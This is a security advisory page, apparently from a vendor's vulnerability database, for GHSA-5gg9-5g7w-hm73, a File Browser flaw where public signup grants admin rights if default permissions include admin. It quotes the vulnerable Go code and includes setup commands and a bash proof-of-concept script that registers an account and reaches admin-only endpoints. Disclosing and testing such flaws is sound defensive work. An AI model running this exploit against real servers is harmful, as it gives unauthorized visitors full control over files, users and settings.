GHSA-5gg9-5g7w-hm73
File Browser Signup Grants Admin When Default Permissions Include Admin
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.
Details
Affected file: http/auth.go
Vulnerable code:
user := &users.User{
Username: info.Username,
}
d.settings.Defaults.Apply(user)
settings.UserDefaults.Apply (settings/defaults.go):
func (d *UserDefaults) Apply(u *users.User) {
u.Perm = d.Perm
...
}
Settings API permits Admin in defaults (http/settings.go):
var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
...
d.settings.Defaults = req.Defaults
...
})
The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.
Demo Server Setup
docker run -d --name fb-test \
-p 8080:80 \
-v /tmp/fb-data:/srv \
filebrowser/filebrowser:v2.31.2
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}')
curl -s -X PUT http://localhost:8080/api/settings \
-H "X-Auth: $ADMIN_TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"signup": true,
"defaults": {
"perm": {
"admin": true,
"execute": true,
"create": true,
"rename": true,
"modify": true,
"delete": true,
"share": true,
"download": true
}
}
}'
PoC Exploit
#!/bin/bash
TARGET="http://localhost:8080"
echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET/api/signup" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"
echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.
Impact
Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can:
- List, read, modify, and delete every file on the server
- Create, modify, and delete all other users
- Change authentication method and server settings
- Execute arbitrary commands if enableExec = true
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.62.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.62.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5gg9-5g7w-hm73 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5gg9-5g7w-hm73 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5gg9-5g7w-hm73. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5gg9-5g7w-hm73 in your dependencies?
O3 detects GHSA-5gg9-5g7w-hm73 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.